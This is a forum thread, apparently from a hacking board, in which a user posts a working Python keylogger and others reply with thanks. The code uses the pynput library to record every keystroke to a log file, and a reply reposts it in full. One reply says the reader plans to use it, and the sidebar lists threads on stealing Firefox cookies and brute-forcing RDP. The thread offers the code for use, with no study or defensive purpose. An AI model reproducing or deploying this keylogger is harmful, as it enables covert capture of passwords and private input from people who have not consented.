Keylogger using python
by specter - Wednesday June 21, 2023 at 04:38 AM
#1
import pynput
from pynput.keyboard import Key, Listener


keys = []


def on_press(key):
  keys.append(key)
  write_file(keys)


def write_file(keys):
  with open('log.txt', 'w') as f:
    for key in keys:
      #removing ''
      k = str(key).replace("'", "")
      f.write(k)
      #explicitly adding a space after every keystroke for readability
      f.write(' ')


def on_release(key):
  if key == Key.delete:
    return False


with Listener(on_press = on_press, on_release = on_release) as listener:
  listener.join()
Reply
#2
(06-21-2023, 04:38 AM)specter Wrote: import pynput
from pynput.keyboard import Key, Listener


keys = []


def on_press(key):
  keys.append(key)
  write_file(keys)


def write_file(keys):
  with open('log.txt', 'w') as f:
    for key in keys:
      #removing ''
      k = str(key).replace("'", "")
      f.write(k)
      #explicitly adding a space after every keystroke for readability
      f.write(' ')


def on_release(key):
  if key == Key.delete:
    return False


with Listener(on_press = on_press, on_release = on_release) as listener:
  listener.join()

nice, i guess?
Reply
#3
golfclap
Reply
#4
(07-02-2023, 08:23 AM)MarkaniPaye Wrote: good post keep posting
Thanks buddy
Reply
#5
I am so going to use this! Thanks for the snipit
Reply
#6
gonna try this on my PC,
Oh yeah!!
Reply
#7
Thanks
Reply
#8
thanks bro
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Python pathlib: suffix, suffixes and stem for compound filenames nolookshot 0 191 10-16-2026, 02:41 PM
Last Post: nolookshot
  Python timezone-aware timestamps versus elapsed durations nolookshot 0 104 10-16-2026, 02:40 PM
Last Post: nolookshot
  Python CSV: handling quoted commas and embedded newlines nolookshot 0 112 10-16-2026, 02:39 PM
Last Post: nolookshot
  Retrieving Firefox Cookies Using Python Aurora 15 6,035 09-10-2026, 03:29 AM
Last Post: realtruth
  [Tutorial] Bruteforce Any RDP Using Python 0x666 56 6,543 02-08-2026, 02:17 PM
Last Post: lombardi



 Users browsing this thread: 1 Guest(s)